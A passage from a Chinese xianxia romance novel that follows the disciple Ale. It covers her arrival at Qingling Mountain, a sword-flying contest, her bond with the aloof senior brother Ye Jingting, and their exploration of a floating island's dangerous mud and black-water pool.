“你这还——才可——,你就在此——,阿乐那边我会替你看着!”这声音绝不会听错,是叶鹤。就是这声音断断续续听不清楚。
“平时话不多,把话都留在——那儿说了?”这声音听着像叶展云。这也听不真切。
“少说几句吧”叶鹤打断了对话。
屋里安静了一会,只听到叶敬亭道:“阿乐,你进来吧!”
看来自己这点修为还是瞒不过这几位师叔。
阿乐乖巧的推门而入,一进门就上下打量着叶敬亭,看着他像往常一样啊,脸色看上去也并没什么异样啊。
“师父,阿乐这几天修炼的时候有几个要点一直没有参透,想来找你讨教。”阿乐随口胡诌,发现叶鹤一直站在他身后,好奇怪,这鹤老板她可再熟悉不过,什么时候那么“端正”了。
瞟了一眼茶桌上的茶壶,顿时心生一计。
“师父,你喝茶吗?我有些口渴了。”阿乐满上一杯茶想要递给叶敬亭。
“我不渴,你随意便好。你方才要说的是什么要点?”
“是这样的——”阿乐瞅准时机,把茶泼向叶鹤,却不料脚下一滑,整个人向前扑去。
“小心!”叶敬亭、叶鹤、叶展云三人同时脱口而出。
叶鹤、叶展云是让叶敬亭小心,叶敬亭是让叶知乐小心。
却还是晚了一步。
叶敬亭稳稳扶住了阿乐,这茶水也全都泼在了他身上。
茶渍浸透了薄衣,里面渗出一片血红,阿乐看到这片印出的血红,在雪白的衣服上尤为刺眼,失声道:“师父——你怎么——”
“师弟啊,你别折腾了,快躺下——这伤口又裂开了。”叶展云道。
与叶鹤两人一人一边搀扶着往床榻挪去。
“愣在那干嘛,把那边那罐药膏递过来。”叶鹤道
“阿乐,你先出去等我一下。放心,没事。”叶敬亭强颜欢笑对她道。
把药膏递过去,衣服已褪下大半,就瞄了一眼,整个胸前后背都是鞭痕,伤口血红触目惊心。新伤下还压着密密麻麻的旧疤,像一条条小蛇扭曲着爬满后背。
以叶敬亭修为,怎么可能有人会把他伤成这样。
那就是他自愿的,他一直都是遵规律己,到底是犯了什么事才会被处罚成这样?
外面下起了小雨,阿乐坐在门口,任由雨水淋在身上,她实在想不通到底是什么原因可以把他伤成这样。
不一会,头顶雨停了,抬头看去是叶鹤撑着伞帮她挡雨。
“怎么了,小阿乐?”叶鹤故作轻松道。
阿乐猛然站起,雨水顺着发丝落下,分不清是水还是泪,她盯着叶鹤眼睛道:“是因为师尊知道师父收我为徒才处罚他的吗?”
叶鹤收敛起笑容,惊叹道这小丫头是长大了,瞒不过了,随即点点头,又摇摇头:“不全是。”
“那还能是为什么?我阿娘好歹也是师尊的师妹,他那么不近人情吗?”阿乐眼泪夺眶而出。
到底是这里也不容不下她吗?
“那我现在就下山。”说罢便转身要走。
“哎!你现在走了,敬亭不白挨罚了嘛。”
“我走了,以后他再也不用挨罚了。”阿乐没有停下脚步,她不想成为别人的麻烦。
小雨越下越大,雨滴落在石板路上溅起一朵朵水花,阿乐坚定的向前走着,把水花踩得稀碎。
这时,雨中划过一道白影,叶鹤想要追来,被叶展云拦住:“让他去。”
白影转眼间已追上。
“别走。”
惊觉时,一双手臂已从背后箍紧了她。阿乐浑身一僵,耳畔拂过炽热的呼吸,低沉的喘息近在咫尺,后背紧贴着的他的胸膛,心跳声清晰的传来—怦、怦、怦,一下又一下,又急又重,像是藏了千言万语,却终究未能说出口。
阿乐一阵慌张,耳尖烧得通红,又传来一阵喘息:
“我——撑不住了。”
说罢叶敬亭身体向地上滑去。
光洁如雪的白袍上荡开朵朵娇艳血花,阿乐见状手忙脚乱大声喊道:“鹤哥哥——师伯——快!!!”
雨水越下越大,落在地上溅起的不再是水花,像一根根针,落在身上生疼。
就如十三年前的那场大雨,也是这般落在身上又冷又疼。
14. 初来乍到
刚才明明还是艳阳天,不一会天色便暗淡了下来。
清灵山清灵殿前站着一名女子,眉目如画,青丝如流云般,这般仙资玉貌,风华绝代的人除了那流云灵尊叶绾棠还能是谁。
她旁边站着一个小姑娘,看着不过豆蔻年华。一身红衣似火,眉眼灵动,站在门口撅着嘴气鼓鼓的模样也很可爱。
“阿娘,我不想去。”
“阿乐乖,阿爹阿娘要去办件事,办完就来接你!”
“我不能跟你们一起去吗?”
“这事有些棘手,你跟去不安全。”
此时阿乐眼泪已夺眶而出,红着眼拉紧叶绾棠衣袖撒娇道:“再危险,我也想跟你们在一起。”
叶绾棠轻柔的拭去她眼角泪水,宠溺的摸摸头道:“阿乐乖,阿爹阿娘不会有事的。跟你打勾勾,我们一定会安全回来的,好不好!”
阿乐伸出小拇指勾住叶绾棠手指,眼泪还是止不住。
“流云灵尊,师尊请你们进去。”叶子清引着两人进入殿内,便退下了。
大殿门才关上,一旁的草丛中钻出两道白影拦住叶子清去路。
“大师兄,这就是师尊的那个师妹,流云灵尊?”叶展云好奇道。
“她与龙三公子的故事现在可是最火爆的话本。”龙鹤附和道。
“他们不知道师尊是最遵守天规的吗?居然带着女儿就来了。”
“肯定是有什么事迫不得已吧。”
“嗯嗯,总不能是来化神池洗龙族血脉吧!”
“那可不能,那可是龙族三公子的血脉。”
叶子清觉得他们背后讨论这件事不太妥善,试图制止他们。但叶展云与叶鹤你一言我一语,旁人完全插不上话。
半晌,“嘘”叶子清指了指大殿,门后传来脚步声,三人默契的退回草丛里。
须臾间,叶绾棠拉着阿乐从大殿里出来了,阿乐揉揉眼睛,极力控制自己不要再哭:“阿娘——”
“阿乐乖乖在这里好好修炼,阿娘办完事马上就回来接你。”说罢从乾坤袋里掏出一块晶莹透亮的玉牌放在阿乐手上,“这是阿爹给你做的‘灵牌’,会帮你隐藏龙族身份。师兄说话向来算数,你不用担心其他。”
“可是,阿娘——阿乐想跟你们在一起。”阿乐使劲咬着自己嘴唇。
“阿娘知道,只是这次真的不行,乖啊!要记得好好吃饭,晚饭一定要按时吃。晚上肚子饿可没阿娘给你做宵夜了。”叶绾棠理了理阿乐的头发。
站起来转身便走了,没有给阿乐反应的时间,再不走她怕自己不想走了。
“阿娘——”阿乐紧追了两步,眼看着叶绾棠的身影已消失在空中。
“呜呜呜呜”再也忍不住哭了起来。
小雨淅沥沥下着,转眼便转为瓢泼大雨从天直落。
大滴大滴雨滴落在身上砸的生疼。
草丛中三人看着站在雨中的阿乐,出去劝也不合适,继续在这看着也不合适,正在纠结要怎么安慰。
这时,远处款款走来一翩翩少年,抬着纸伞站定在阿乐面前。
少年年纪不过十七、八,浑身却透出一股清冷稳重的气质,抬眸看着眼前被雨淋透的女子。
阿乐停止哭泣,与眼前少年四目相对。
半晌,少年收回目光,望向雨幕,轻叹了口气,绕过她便抬着独自纸伞往大殿门口去了。
留下雨中的阿乐瞪圆眼睛站在原地自言自语道:“他是觉得我挡道了?”一时间倒忘了哭泣。
“——”
“——”
“——”
叶子清、叶展云、叶鹤看着叶敬亭远去的背影汗颜。
叶子清走到阿乐身边,把阿乐拉入自己遮雨的结界:“阿乐不哭,你阿娘肯定会回来接你的。我先带你去住的地方。”
这是十三年以来,第一次与家人分开。
接下来的半个月,阿乐都是在思念中度过的。
清灵山的弟子都是亥时睡卯时起。晚上有时候想得睡不着,就偷偷跑到很远的地方悄悄哭。还好亥时后的清灵山基本遇不到什么人。
这多跑几次,还真被她找到一处隐蔽的地方。
这天在吃晚饭的时候,伙堂师傅做了一道酒酿丸子,这味道与叶绾棠做的味道如出一辙。这熟悉的味道惹得阿乐晚上睡不着,又偷偷跑出去。
顺着一条小路七拐八绕,夜色中隐约看到有一间古朴的房子,门口点着一盏青灯。顺着门口的楼梯再往下走,有一颗大树,树根盘在一起形成一个天然洞口,里面另有一番小天地。
阿乐窝在洞口里,眼泪开始“吧嗒、吧嗒”往下掉。
“阿娘,今天吃到酒酿丸子了,跟你做的味道一模一样,若是再加些桂花糖会更好吃。我今天吃了两碗。”
“呜呜呜呜,阿娘阿爹,你们什么时候才能来接我。”
“我现在在学御剑飞行了。这里有些无聊,都没有小伙伴陪我玩,师兄们都比我大好多。”
“只有一个师兄比我年长几岁,却总是板着一张脸,也不曾见他笑过。”
“呜呜呜呜,阿乐等你们,你们要平安哦!”
哭累了便睡着了,在这一方小天地里,她倒是睡得安稳。
卯时刚到,阿乐便醒了,她才想起来今天不做早课,要去修炼场。
急急忙忙赶到时,整个修炼场已经密密麻麻站满了人。
好热闹啊!阿乐每天都与几位师兄们一起修炼,第一次见识到原来清灵山外室弟子那么多。
外室弟子们没有那么多约束,一群群聚在一起叽叽喳喳吵闹不停。
阿乐看着这人声鼎沸的场面顿时开朗不少,好久没有看到那么多人了!
“铛铛铛”一阵钟响。
须臾间,修炼场已安静下来。
叶修一带着叶子清、叶鹤、叶展云、叶敬亭依次排开御剑从天而降,所有人毕恭毕敬行礼:“恭迎师尊!”
阿乐站在人群中,看着几人风光无限的摸样,眼里无限向往,暗下决心要快一点学会御剑飞行。
阿乐听到站在身旁的外室师姐们在热烈讨论着叶敬亭,没想到这冰块脸还有人喜欢。
萝卜冰块各有所爱,无奈耸耸肩。
半晌,师尊长言缓道:“三日后浮空岛将现于人世。这浮空岛上既
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藏着奇珍异宝,又暗藏危机。但思虑于这岛或百年难一遇,现按照年龄划分比武方式选出胜者,由叶子清、叶鹤、叶展云、叶敬亭分别带队上岛。”
此话一出,全场一片哗然。
刚才站在旁边那群姑娘更是激动不已,这可是她们难能可贵接触到叶敬亭的机会。
阿乐听阿娘说过这浮空岛,或万年或千年或百年才会出现一次的岛屿,顾名思义是浮在空中的岛屿,每次出现的岛屿都会不一样。有梦幻仙境、有地狱重现、有全是各种毒花海,总之就是每次遇到的都不会一样。
阿娘说有一次出现的岛屿上全是海水,水里有很多漂亮的珍珠,那次去的女修都很开心。
没想到那么快就遇上了,那一定要争取到机会。
时间紧迫,修炼场上已经开始出现各式各样仙法打斗,一时间已乱作一团。
阿乐祭出“雪落”剑握在手里,环视一周也不知道要怎么加入,看到有人胜出马上加入下一场打斗,自己也没敢上前挑战。
握着剑的手心里全是汗。
望了望不远处的师兄们。师尊正在密切关注着场上的战况,鹤师兄对着自己竖了个大拇指,子清师兄也招了招手,展云师兄正在与两个外室师姐交谈——至于那个冰块师兄,还是面无表情直视前方,唉!算了,反正他也不可能说出什么好话。
前方闪过一团白光,阿乐反应迅速向后撤去,白光紧跟在方才站立的地方炸开,虽不会受伤,还是被震了一下。
仅这一下激发了阿乐的胜负欲。
手中捏诀,灵力在全身运作冲入“雪落”剑身,向着对面一击,灵力顺着剑锋直冲命门,对方毫无还手之力。
这一气呵成的反击干净、利落,丝毫不像十多岁的孩童会使出的招数。
果不其然,清云山流云灵尊和龙族三公子教出来的女儿怎么会差呢?
全场的目光都被阿乐吸引。那些胜出的师姐都围拢过来,在阿乐每击败一个时,掌声不断!
半天时辰已过,同龄修士已被阿乐打败大半,这才注意到鹤师兄和冰块师兄已在人群中观战多时,看着叶敬亭那张依然面无表情的脸,不知为何她开始紧张起来。
一位年纪相仿的男修站在挑战位,持剑的样子有几分自信,看来也是击败不少修士。
“——之前我怎么都没见过你?”。
“我——平时比较低调。”阿乐随口编了个理由。
“好。在下叶之远,不知姑娘怎么称呼?”叶之远道。
“阿乐!”说罢,剑锋已到对方身侧,却并未碰到,反而被灵力震退。
看来,这人比较棘手。阿乐凝神屏息,重新寻找着对方弱点。
却不料,叶之远翻身御剑到了半空,看来是察觉剑法打不过,想要斗灵力。可却刚好踩中阿乐薄弱之处——御剑飞行。
阿乐微蹙眉头无奈叹口气,心中默念:“阿乐你可以的,你可以的,这已经学习很多天,一定可以的。”
“阿乐加油!”鹤师兄的声音从人群飘来,循声望去那冰块也在看着自己,心中不知哪儿来了一股决心,“好,阿乐,浮空岛你一定要去。”
15. 浮空岛
叶之远算得上同龄人翘楚,剑术、御剑飞行掌握得很熟练。
御剑需要灵力以及身体控制稳定方可控制自如。普通修士学习御剑不出一月便能领悟精髓,再多加练习便可。阿乐由于体内“浮生烬”能量有些不稳,学习御剑时灵力乱窜,需要再多一些修炼控制才行,就学的慢了一些。
看着已升至半空的叶之远,阿乐牙一咬,对着“落雪”碎碎念:“落雪啊落雪,我俩都得争点气啊!你也很想去浮空岛看一看对不对,稳住,稳住。”
“落雪”得令,稳稳悬在脚旁,阿乐深吸一口气,感受着灵力在体内浮动,引导着它们沉入丹田。
“阿乐,你可以的!”心中默念。
“雪落”载着阿乐稳稳升至半空,两人捏诀相对。
仙法在空中乱斗,都在快击中对方时被躲开。阿乐其实灵力更胜一筹,就是这御剑飞行实在——
众人在底下看着阿乐在半空中每飞动一次,便要东倒西歪一次,都悬着一颗心。
刚躲过一次攻击,阿乐差点掉下来,勉强才站稳,新一轮攻击又来了。
阿乐催动“雪落”四处躲避。
底下的众人跟着发出“哦哟——”“啊呀——”
这自己御剑不精,也不能怪人家乘机取胜,一道白光快速闪过,阿乐惊觉背后有袭击追至而来,手中快速结印,一个盾牌在面前还没来得及铺展开来,“雪落”一阵晃动,糟糕!阿乐隐约感受到体内“浮生烬”能量异动,不敢再催动“雪落”。
就这眨眼间,白光击中阿乐,一阵刺痛,阿乐从空中垂直落下。
“阿乐——”这声是叶鹤喊的。
飞至空中接住阿乐的却是叶敬亭。
一道白影快速飞身而上,因为速度太快,大家都没反应过来,待看清楚那人是叶敬亭,人群爆发一阵欢呼。
“叶敬亭——”
阿乐被抱在怀中,看着眼前叶敬亭近在咫尺的脸庞,脸颊一阵滚烫,虽然还是一张面无表情的脸,心跳还是不由得加快了些。
“谢谢叶师兄!”阿乐小声道。
叶敬亭并未回答,只是垂下眼淡淡看了她一眼,才落地立马收回手。
“啪”阿乐屁股着地重重摔倒在地上,连同刚才的一阵心悸摔得稀碎。
就不该动恻隐之心,他可是冰块啊!
叶鹤扶起阿乐,打圆场道:“他是着急你那么多日还学不会御剑飞行,就算赢了也去不了浮空岛。”
阿乐一直低着头,拍拍衣服,在身上蹭了蹭手上灰尘,眼泪悄悄在眼眶里打转,她体内有“浮生烬”,能量就是不稳定,这不是她能控制的。
“阿乐,你没事吧!我不是故意的。”叶之远连忙来查看阿乐有无大碍,方才看到阿乐从剑上跌落,真是被吓到了。
阿乐撇撇嘴,低低道:“我没事”。
随后便赶忙跑开了,她实在不想在那么多人面前落泪。
“阿乐——”任由叶之远在身后喊道,阿乐一路飞身而去,却没有回住所,是跑去那树洞里。
从思念母亲哭到御剑还是学不好,再到那重重一摔,光哭诉那冰块师兄就哭了两个时辰,又是从天亮到天黑。
阿乐又累又饿。
从树洞出来一路上还在抽抽搭搭。
回到住所。
“咯吱”门打开又合拢。
刚点亮房间里的灯,房门便响起了敲门声。
开门,是叶鹤。
手上端着一大碗面,还有一碗酒酿丸子。
阿乐已是饿极了,一大碗面全都吃完,调羹在舀起一勺丸子送入嘴里。
“桂花糖?鹤师兄,这里面有桂花糖!”阿乐惊喜道。
叶鹤看着眼前这小丫头,上午还在修炼场神采奕奕,下午从空中跌落一副愁容,现在又顶着两颗核桃眼笑嘻嘻的吃着酒酿丸子。
许久没有见过这样可爱的人了。
“对呀,敬亭说加了更好吃,我便加了。”叶鹤笑呵呵道。
阿乐心中一惊,有些不可置信,又有些开心道:“真是敬亭师兄说的?”
“嗯!”叶鹤本来还在纳闷叶敬亭怎么突然想着要加桂花糖,现在算是明白了。
这时,门外响起敲门声,“扣扣扣”不紧不慢。
叶鹤打开门,眼神从讶异到看透,随后打趣道:“敬亭,酒酿丸子加桂花糖是好吃!”
叶敬亭抬眸淡淡看了一眼叶鹤未言语,径直走到阿乐面前。
扫了一眼阿乐的核桃眼,放下一个白脂玉瓶,还有一本小册。
“跌打膏,御剑飞行速成。”
说完便转身走了,到门口又似想起什么,偏头道:“三日后,寅时在修炼场集合,过时不候。”
阿乐听到这句话身形怔了一下,这才反应过来。
“啊——鹤师兄,你听到没?我能去浮空岛了!哈哈哈——”阿乐一阵欢呼,拉着叶鹤蹦蹦跳跳。
叶鹤看着这小师弟背影若有所思,上午在修炼场时,他们师兄弟开玩笑说若是阿乐要选择跟他一组,他眼都未抬一下便摇摇头,只说了两个字:“太吵。”
现在这又是送药又是桂花糖,看来这小师弟是有些不一样了。
比起以前对什么都波澜不惊的样子,多了一丝人情味。
这比武已去了一日,只剩两日便要启程。万一这次的浮空岛是危险重重呢?那御剑飞行可是能逃命的。
亥时已到,这就寝的钟刚敲过。
阿乐在床上辗转反侧,根本睡不着,满脑子都是那《御剑飞行速成》里的要点,在脑海中反复演练,这心里直痒痒,真想立马能出去实操一下。
又过了半个时辰,阿乐干净利落穿上衣服,从窗口一跃而出。
修炼场上空荡荡一片,只见到一道极细的白光在空中升起又落下,伴随着一声声闷哼,却还是坚持练到天边翻出鱼肚白。
白天夜晚如此反复,这御剑飞行之术在短短两日却是精进不少。
转眼便到了去浮空岛的日子。
寅时还未到,修炼场已陆续来了许多修士。看来大家都很期待这次试炼。
阿乐远远看到在人群中叶敬亭那个挺拔身影,御剑故意在他面前晃过。
找了处空地安稳停下,刚落地叶之远便走了过来:“阿乐,没想到你御剑飞行精进那么多!”
阿乐被夸得有些飘飘然,自信不少。
“之远兄,你是在哪个组呀?”阿乐笑嘻嘻道。
“敬亭师兄。”
“那我们是同一个队伍。”
阿乐早
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就忘了之前的不愉快,两人很快攀谈起来。
叶鹤跑到叶敬亭身旁,用手肘拐了下他,道:“你那《御剑飞行速成》挺厉害啊,阿乐进步不小。”
叶敬亭负手而立,目光掠过她神采飞扬的眉眼,一脸淡漠道:“乐极生悲。”
“我怎么听着,有些担心的意思呢?”叶鹤打趣道。
叶敬亭不接话,抬头看着天边。
那里还是一片黑暗。
“天边还是没什么迹象。”叶展云安顿好他带领的那一群女修,跑过来搭话:“这次不会又要白等一天吧。”
“这次是师尊亲自推演的时辰,不会有差错。”叶鹤回道。
就在这时,天空“轰隆”了两声,轰得震响。
众人纷纷捂住耳朵。
“快看,七彩祥云!”
众人抬眼望去,暗黑的夜空被一束光撕开裂口,七彩祥云围绕其中,好一派美景。
“好漂亮啊”
那束光把裂口越撕越大,穿过层层云朵,一座岛屿在七彩祥云中若隐若现。
“就是这座岛。”
叶子清、叶鹤、叶展云、叶敬亭各自率领小队御剑向着光束之处飞去。
修炼场就由叶修一带着其余弟子坐镇,以免发生意外可及时援助。
不过叶修一对自己几位徒儿甚是安心,特别是老四叶敬亭,虽是年纪最小,这修为可不比其他师兄差,甚至高出一大一截。
这次出现的浮空岛他都推演算过,不会是最危险的境地。
一道道细光飞入光中,仿佛闯入了另一个世界。
阿乐看着眼前一朵朵棉花般的云朵在眼前消散又聚拢,兴奋的喊道:“好美啊!”,脚下雪落晃荡了一下。
叶之远紧张的喊道:“阿乐,小心御剑!”
阿乐收敛了一些,注意力集中在脚下。
进来前外面明明还是黑夜,进来后,这里明亮一片。
整片天空显出晚霞一般的调色变幻。
虽是白天,却能看到月亮与太阳齐齐挂在空中,星星散落四处,空中肆意飘洒着各式各样云朵。
这些年轻修士哪里见过这些,还没上岛已惊叹连连。
在地上看的时候浮空岛很小一点,这整个岛赫然出现在眼前,才发现相当于半个清云山啊!
阿乐跟随众人落在这岛屿上,终于落地,双脚踩在这地上的时候阿乐长舒一口气。
放眼望去,这岛一片翠绿,长着很多没见过奇形怪状的树。
转过身再望去,岛的另一边乌云密布,空中闪电不断,地上光秃秃一片,没有任何植被岩石。再往里看有波光粼粼闪烁,距离略远,分不清是一池水潭,还是一片大海。
作为带队人,师兄弟四人商量定夺兵分两路,叶子清、叶展云两队人马去树林,剩下两队人马去水潭。定好时辰,不管探索到什么都按时归来,安全是首位。
阿乐遥望着那些闪电,有些犯怵,以前打雷下雨都会钻到阿爹怀里,现在看着这电闪雷鸣却要独自面对了。
不知叶敬亭何时来到身旁,低声说了句:“跟紧。”便踏入那片寸草不生的土地。
待回过神来,小队成员已陆续跟去。
“阿乐,走吧!”还好,叶之远一直在身旁。
16. 玄水潭
走了快半个时辰,除了黑不溜秋的石块,还是一望无际的黑色。
头顶乌云越积越沉,时不时一个滚雷炸响天际。
“这个岛好有趣,一半是盎然生机,一半是死气沉沉。”此时说话的是叶敬亭队里的叶丽。
“这里好臭啊,有种腐烂的味道。”叶茜一只手捂着鼻子赞同道。
阿乐记得她们,上次在修炼场上,一直在热烈讨论那冰块的就有她俩,看来她们都得偿所愿了。
一不留神没注意脚下踩到了一堆烂泥。
烂泥里好似藏着一只手,紧紧拽住每一只陷进去的脚。一开始阿乐以为只是泥巴粘稠没能抽出来,稍微用力往外踹,这才发现是真陷进去了,越挣扎身体越往下沉,转眼间,半条腿已经拔不出来了。
阿乐手忙脚乱手中捏了几个诀,奇怪的是浑身灵力好似被抽干,一点也使不出来。这烂泥到底是什么东西?
身体还在往下沉,这时阿乐已使不上力了,喉咙也不知为何发不出声音。
叶丽最先发现阿乐不对劲。
“阿乐,快,拽住我!”慌忙去拉,却低估了那泥堆的力量,反而被拉了进去。
阿乐发不出声音,手臂被拉拽得生疼,看着叶丽也快要被自己卷入,狠心一掐,对方吃痛得把手抽了回去。
阿乐半截身体已经陷入了泥堆。
叶之远从乾坤袋里摸出一根长鞭,套在阿乐腰上,使劲往外拽,却还是敌不过这泥堆的力量。
胸口呼吸变得越来越困难,阿乐看着这冒着泡的泥堆,喊又喊不出声,想着阿爹阿娘接不到自己了,眼泪开始打转。
眼看快到肩膀了,长鞭也使不上力。
众人捏诀催动灵力,奇怪的是这些灵力冲入泥土就消失无影,试了几次也是如此。
阿乐眼泪终于忍不住冲了出来,泪眼婆娑看着围在周围束手无策的师姐师哥们。
胸口仿佛压了千斤石,逐渐已喘不过气,眼前的人群变得模糊。
“阿乐——”在模糊中她听得出来,这是叶敬亭的声音,没想到冰块也会有焦急的时候。
意识在变得涣散,阿爹阿娘能找到自己的尸体吗?
“阿乐——不要睡!”一声大喊,阿乐猛然睁开眼睛。
只见叶鹤御剑停在半空,手里拽着一根长绳垂下,另一端绑在叶敬亭腰上,其余人手中捏诀为空中两人护法,既然这灵力对这泥土没用,那对空中的人还是有用的。
阿乐抬头看着叶敬亭担心的眼眸,长着嘴巴又开始哭起来。
“阿乐,你听我说,你现在试着把腿慢慢蜷缩起来,听我数三声,然后脚下使劲用力,好不好?”阿乐第一次听到叶敬亭说那么多话。
阿乐照做,把腿慢慢蜷缩起来,却不料这一动作,让自己下沉更快,便不敢再动,睁着一双泪眼看着叶敬亭使劲摇头。
叶敬亭眼神坚定,双手插入泥堆中摸索到阿乐肩膀牢牢抓紧。
“阿乐,你相信我,我一定会抓住你的。”
阿乐看着叶敬亭满脸通红,脖颈上青筋冒起,点点头。
“三、二——”
“一!”最后这个数话音刚落,阿乐深吸一口气憋住,下肢用力蜷缩起来,整颗头埋入泥土中,脚下奋力一蹬。
周围一片寂静,自己还是在泥堆中。
阿乐脑中一片空白,口中憋的那口气慢慢变少。
所以——还是不行吗?
就在这绝望的一瞬间,“哗”一声,一股力量拖着自己脱离了泥堆。
周围又变的明亮,她真的出来了。
“我出来了!”
“我又能说话了!”
“呜呜呜呜,我以为我要死了!”阿乐擦了一嘴泥,想到刚才真以为自己出不来了又开始哇哇大哭起来。
叶之远等人围着她又是递手帕又是安慰,慢慢情绪才稳定下来。
乌云上积满了雨,在几次电闪雷鸣下,终于下了下来。
也把阿乐全身污泥洗干净了。
但地上的路也都变成了泥堆,这下大家都不敢再往前走,只能改做御剑飞行。
刚才经历过那么一遭,本来对自己御剑飞行就没那么自信,这下更不敢了。
“阿乐,你与我一起吧。”叶之远看出她的窘迫,邀请她一同飞行。
阿乐点点头站在他身后牢牢拉进他后腰的衣服,两人往前飞去。
叶敬亭在后方不紧不慢的跟着两人,叶鹤悠悠飞至他身旁,看着小师弟这面不改色的样子道:“下次早点说啊。”
“无聊。”
御剑飞行是要快一些,没过多久就到达一片水潭。
只是这水是黑色的,犹如浓墨一般,根本看不清水下到底是什么。
叶茜蹲下身用手舀起这黑水观察了一下,没想到她碰过的水面荡漾开一圈涟漪犹如七彩华光,旁人看到也都用石头、用剑柄、或用手在这黑水中搅动。
不一会这水面便铺满这七彩光圈。
“玄水。”叶敬亭观察半晌说道。
“传说这玄水看上去与墨汁一般,水面实则是七彩流光。踏在水上如履平地,可承载万物不落入水中。”说到这,叶鹤已稳稳踩在水中,果然如他所说,这玄水可以承载万物。
其他人看着站在水面的叶鹤惊喜连连,还能这样玩?
阿乐迫不及待从叶之远身后跳下去,稳稳的站在水面上,踩到的地方荡开一圈七彩光圈。其他人见状也纷纷踏上玄水潭玩闹起来。
“玄水由于特殊性质,水面下经常会藏有宝物。”叶鹤踏至叶敬亭身旁接着道。
叶敬亭点点头不可置否。
余光扫及方才来的泥路,又对着这潭玄水若有所思,随即捏了几个诀踏上潭面,与其他人荡开的七彩花光不同,他每踩一步,便出现某个特殊的符号。
叶敬亭往不同方向踏了一遍,才初见端倪。
“噬魂阵。”收回灵力,脚下恢复七彩光圈。
叶鹤在空中御剑看的真切,真是噬魂阵,这阵法需要极高修为才可设成,看来这里藏的宝物非同一般。
“探还是不探?”叶鹤眼眸中有些兴奋,他已经迫不及待了。
叶敬亭环视一圈在水面上玩正欢的人,目光定在阿乐身上。看她现在开心的样子,似乎忘了自己在一刻钟前才从死里逃生。
叶鹤眯着眼察觉到叶敬亭微不可查的情绪,安慰道:“有我们在,没事的。”
见叶敬亭不说话,便召集大家整理队伍准备找到下潭的机关。
就这一转眼的功夫,阿乐不见了。
悄无声息,一直跟在身旁的叶之远也懵住了,指着身旁某处道:“方才,她还在这里呢!”
顺着手指方向望去,水面最后一圈七彩华光刚散开,眼看快要恢复原状,就在这须臾之间由不得多想,叶敬亭纵身一跃眨
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眼之间便消失了。
叶鹤眼疾手快也没能抓住衣角,手指在空中抖了抖。
水面又恢复原状,捏诀试了几次灵力冲到潭面便散开,叶鹤对着刚才两人消失的地方大喊道:“敬亭啊——你万事小心!等师兄来救你!!!”
声音在空中荡开,已沉入潭底的两人早已听不见。
“砰”一声闷响。
叶敬亭记得分明是从玄水潭落下的,这里却没有一滴水,抬头一看一层晶蓝色的结界把玄水隔在上层,下面居然别有洞天。
四处都是晶蓝色的柱子,里面有宝蓝色的湖水,有一些看不出名字的小鱼小虾在里面游荡。
与顶上的玄水相互呼应,把整个洞里照的别有一番美意。
“阿乐——”没看到其他人的踪影,叶敬亭心中有些不安,不会走岔道了吧。
“师兄!”阿乐从柱子后出现,眼里有眼泪打转,看来是已经哭过了。
“没事吧?”声音中透出一丝着急。
阿乐擦擦眼角,笑着道:“没事,就是摔了一跤有点痛。”说罢指了指擦破的裤腿,隐约露出一些血迹。
叶敬亭拉过她,灵力从指尖升起往伤口处探去。
“斯——”阿乐轻唤了一声。
“疼吗?”叶鹤抬眸,看到阿乐额头渗出细细一层汗珠。
指尖动作轻柔了一些。
阿乐双手握紧衣角道:“没事的,师兄,我只是比较怕疼。”
还好只是一些擦伤,一会就治愈。
两人在这洞里没有头绪到处走,还是没有看出什么门道。每根柱子都差不多,摆放的位置也是随机的,柱子里的小鱼也没什么特别之处,起码看着与外面海里的小鱼没什么区别。
“师兄,我们是不是要触发什么机关才可?”阿乐道。
叶敬亭轻蹙眉头,他盯着柱子里的小鱼仔细观察着,手里捏诀,掌心冒出一丝火光。
小鱼看到这丝光亮不但不躲闪,摇摆着尾巴靠近。
“师兄,它们好像很喜欢这个火光啊!”阿乐道。
叶敬亭又捏一个诀,火光从掌心跳进柱子里,阿乐惊奇道:“这火光遇到水不会灭吗?”
“是灵火,不会灭。”叶敬亭回道。
灵火就是在催动灵力时产生的能量,也可以理解是纯度较高的灵力着火了。
只见这条小鱼轻轻张口把灵火吞金肚子里,不一会兴奋的在柱子里四处游荡,也可能不是兴奋,是被烫到,毕竟这可是灵火,纯度很高不灭不烧,就在肚子里肯定难受。
这小鱼游了半晌终于停下了,嘴巴一开一合吐出连串气泡。
奇妙的是它肚子亮了起来,仿佛是一盏灯,被灵火点亮了。
小鱼一开始只在自己的柱子里游荡,后来既然又窜到其他柱子里,每遇到一条小鱼就从嘴里吐出一丝灵火,另一条小鱼一口吞下,如此往复,一开始的小鱼终于游遍了所有柱子。
紧接着,每根柱子里的鱼肚子都被点亮了,仿佛接收到了某种指令,全部鱼头对着一个方向。
“师兄,它们好像在为我们指路。”阿乐看着这些鱼儿道。
叶敬亭点点头顺着鱼头的方向走去,走了几步转头看阿乐没跟上,还在原地看着那些被点亮的鱼群,又折回来道:“我们走。”
怕两人走散,捏诀在两人之间绑了一根看不见的红线,只要距离超过半米,红线便会提醒。
17. 灵蝶
顺着鱼儿们的指引,两人越往里走越黑。
叶敬亭大步往前走,只盼着快点能出去,莫要再生出变故。
没走几步,手被红线扯住,叶敬亭感到不妙立刻回首查看,阿乐果然没有跟在身后。
还好两人绑了红线,顺着线很容易便找到了阿乐。此时她正蹲在一个转角处,低着头捂住耳朵,嘴巴里不知道在呢喃什么。
叶敬亭以为她只是怕黑不敢走,摊开手掌,一颗夜明珠静静躺在掌心,虽不是特别明亮,却足以照亮周围。
“阿乐你看,不黑了。”叶敬亭拍了拍她,轻轻唤道。
阿乐还是低着头蜷缩着身体,嘴巴里喃喃自语。
没办法他只能凑近耳朵,只听到阿乐在一直重复:“阿乐不怕,阿爹阿娘一定会来救我的,阿乐不怕,阿爹阿娘会来救我的。”
是怕黑吗?还是想起什么?
叶敬亭想先去探路再回来找阿乐,可又不放心怕两人走岔,两人就这样一直停在这里也不行,可看着阿乐这副样子,是没办法再往前走了。
他轻叹一口气,眉头微蹙,一时间有些手足无措。这时候真是羡慕展云师兄,总能与师妹们打成一片。
点点荧光从黑暗中飞来,扇动翅膀的声音虽微弱,还是被叶敬亭听到了。
只见飞来的是一只蝴蝶,通身闪着蓝色荧光,半透明的身体看上去不像普通蝴蝶。蝴蝶翩翩飞舞,在两人之间转了好几圈,最后轻轻停在阿乐肩膀上。
叶敬亭用灵力探查,并未有发现有什么异样,猜想可能只是一只普通的灵蝶。
